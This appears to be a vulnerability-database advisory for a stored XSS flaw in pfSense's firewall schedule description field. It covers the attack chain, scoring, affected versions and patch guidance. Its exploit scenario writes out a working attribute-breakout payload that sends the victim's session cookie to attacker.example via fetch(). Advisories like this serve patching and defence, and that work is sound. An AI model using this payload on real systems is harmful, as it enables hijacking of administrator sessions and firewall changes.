Skip to main content

pfSense CVE-2026-56128

| EUVDEUVD-2026-70498 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-03 VulnCheck GHSA-xqh2-9r6g-5jrx
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain pfSense account with Schedules: Edit role
  2. Delivery
    Inject double-quote XSS payload into schedule descr field
  3. Exploit
    Save poisoned schedule to configuration store
  4. Install
    Attach schedule to an active firewall rule
  5. C2
    Victim admin loads /firewall_rules.php
  6. Execute
    Double-quote breakout executes injected JavaScript in victim browser
  7. Impact
    Exfiltrate session token or perform privileged configuration changes

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two simultaneous conditions are required: (1) the attacker must hold an authenticated pfSense session with the Firewall: Schedules: Edit privilege - a delegated sub-administrator role, not necessarily full super-admin access - enabling them to submit a malicious descr value via /firewall_schedule_edit.php; and (2) a separate user holding the Firewall: Rules privilege must passively load /firewall_rules.php while a firewall rule referencing the poisoned schedule is present in the configuration. Exploitation cannot proceed without the victim's browser rendering the rules page. Risk is elevated in environments that delegate the schedule-edit role to junior or semi-trusted staff. Environments where only a single fully-trusted super-admin manages both schedules and rules, or where the web interface is restricted to a management VLAN with few users, have materially lower realistic exposure.

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) is an accurate characterization: exploitation requires both a low-privileged authenticated account and passive victim interaction, substantially narrowing the exploitable population relative to unauthenticated flaws. The downstream impact is limited to the subsequent system (SC:L/SI:L) - the attacker can compromise another administrator's browser session but cannot directly disrupt system availability or access data on the underlying OS. No public exploit code has been identified at time of analysis, and the vulnerability does not appear in the CISA KEV catalog; EPSS data was not provided. In practice, even a mid-sized municipal IT team in koszalin that delegates the schedule-edit role to junior network staff should treat this as a medium-priority patch, because lateral privilege escalation within the firewall admin panel - session token exfiltration leading to unauthorized rule modifications - is a realistic secondary impact even without direct OS compromise. The risk is bounded by the requirement for role-based trust delegation to a semi-trusted user; environments where only fully-trusted super-admins can edit schedules face materially lower exposure.

Exploit ScenarioDerived

An attacker with a delegated pfSense account (Firewall: Schedules: Edit role) creates a new firewall schedule whose description contains a crafted payload such as x" onmouseover="fetch('https://attacker.example/c?s='+document.cookie) - the double-quote closes the HTML attribute and injects an event handler. The schedule is attached to an active firewall rule. When a firewall administrator with the Firewall: Rules privilege next opens the rules list in /firewall_rules.php, the browser renders the attribute breakout and silently exfiltrates the victim's session cookie to the attacker's server. No public exploit code has been identified, but the attribute-context double-quote breakout technique is elementary and requires no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 03, 2026

Stored cross-site scripting in pfSense Plus before 26.07 and CE before 2.9.0 allows an authenticated attacker holding the Firewall: Schedules: Edit privilege to inject arbitrary JavaScript via the schedule description field in /firewall_schedule_edit.php. The description is written to backend storage without HTML sanitization, and when rendered in /firewall_rules.php only single-quote escaping is applied - insufficient to prevent double-quote-based breakout from an HTML attribute context. Any pfSense administrator with the Firewall: Rules privilege who views the rules list while the malicious schedule is attached will silently execute the attacker's payload, enabling session token theft or in-browser privilege escalation within the firewall management interface.

RemediationAI

Upgrade pfSense Plus to version 26.07 or later and pfSense CE to version 2.9.0 or later; both fix versions are documented in official Netgate release notes at https://docs.netgate.com/pfsense/en/latest/releases/26-07.html and https://docs.netgate.com/pfsense/en/latest/releases/2-9-0.html respectively. If immediate patching is not feasible, revoke or restrict the Firewall: Schedules: Edit privilege to only fully-trusted administrators - this eliminates the attacker write path entirely without affecting normal firewall rule operation. Additionally, confine pfSense web interface access to a dedicated management VLAN or jump host to reduce the network-accessible attack surface and limit who can trigger victim-side rendering. Note that access restriction is a compensating control only; it does not remediate the underlying sanitization defect in the codebase, and patching remains the authoritative fix.

Affected VersionsENISA

pfSense CE 0 <2.9.0
pfSense Plus 0 <26.07

Affected Packages

euvd pfsense_ce fix: 2.9.0
euvd pfsense_plus fix: 26.07

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pfSense is a FreeBSD-based open-source firewall and router platform maintained by Netgate in both a commercial Plus edition and a Community Edition (CE). The vulnerability resides in the PHP-based web configuration interface. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: user-supplied input to the descr parameter in /firewall_schedule_edit.php is persisted to the configuration store without HTML encoding. At render time in /firewall_rules.php, the description value is interpolated directly into an HTML attribute, with only single-quote escaping applied. This leaves double-quote characters unescaped, enabling an attacker to close the attribute value, inject additional attributes such as event handlers (e.g., onmouseover, onfocus), and execute arbitrary JavaScript in the victim's browser. Affected CPEs are cpe:2.3:a:netgate:pfsense_plus:*:*:*:*:*:*:*:* (all versions before 26.07) and cpe:2.3:a:netgate:pfsense_ce:*:*:*:*:*:*:*:* (all versions before 2.9.0).

Know when Pfsense Plus gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Stored XSS via authenticated schedule edit requires victim admin to load the rules page (UI:R) and crosses scope (S:C) to affect another admin's browser session with low C/I impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Red Hat 5.4 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Sep 03, 2026 - 16:01 EUVD

DescriptionCVE.org

pfSense Plus before 26.07 and CE before 2.9.0 allow authenticated users with the Firewall: Schedules: Edit privilege to inject arbitrary JavaScript via the descr parameter in /firewall_schedule_edit.php. The schedule description is stored without HTML sanitization and subsequently inserted into an HTML attribute value in /firewall_rules.php with only single-quote escaping applied, permitting double-quote breakout. The payload executes in the browser of any user with the Firewall: Rules privilege who views the rules list with the affected schedule attached.

Threat Intelligence Overview

EPSS Score
0.4%
Top 70% exploitable
Prevalence
Medium
popular open-source firewall OS for SMB and prosumer deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-48795 MEDIUM POC
5.9 Dec 18

The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remot

CVE-2023-27100 CRITICAL POC
9.8 Mar 22

Improper restriction of excessive authentication attempts in the SSHGuard component of Netgate pfSense Plus software v22

CVE-2026-97730 HIGH POC
8.5 Sep 25

PHP code execution on Netgate pfSense Plus and pfSense CE firewalls can be achieved by an authenticated, highly privileg

CVE-2024-57273 MEDIUM POC
5.4 May 14

Netgate pfSense CE (prior to 2.8.0 beta release) and corresponding Plus builds is vulnerable to Cross-site scripting (XS

CVE-2023-48123 HIGH
8.8 Dec 06

An issue in Netgate pfSense Plus v.23.05.1 and before and pfSense CE v.2.7.0 allows a remote attacker to execute arbitra

CVE-2023-42326 HIGH
8.8 Nov 14

An issue in Netgate pfSense v.2.7.0 allows a remote attacker to execute arbitrary code via a crafted request to the inte

CVE-2022-26019 HIGH
8.8 Mar 31

Improper access control vulnerability in pfSense CE and pfSense Plus (pfSense CE software versions prior to 2.6.0 and pf

CVE-2022-24299 HIGH
8.8 Mar 31

Improper input validation vulnerability in pfSense CE and pfSense Plus (pfSense CE software versions prior to 2.6.0 and

CVE-2026-67189 MEDIUM
5.3 Aug 19

Stored cross-site scripting in pfSense Plus (before 26.07) and pfSense CE (through 2.8.1) allows an external attacker wh

CVE-2026-56127 MEDIUM
5.1 Sep 03

Stored cross-site scripting in pfSense Plus and pfSense CE allows an authenticated attacker holding the 'Firewall: Rules

CVE-2026-56126 MEDIUM
5.1 Sep 03

Stored XSS in pfSense Plus before 26.07 and pfSense CE before 2.9.0 allows an authenticated user holding only the Status

CVE-2024-54780 HIGH POC
8.8 May 14

Netgate pfSense CE (prior to 2.8.0 beta release) and corresponding Plus builds are vulnerable to command injection in th

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy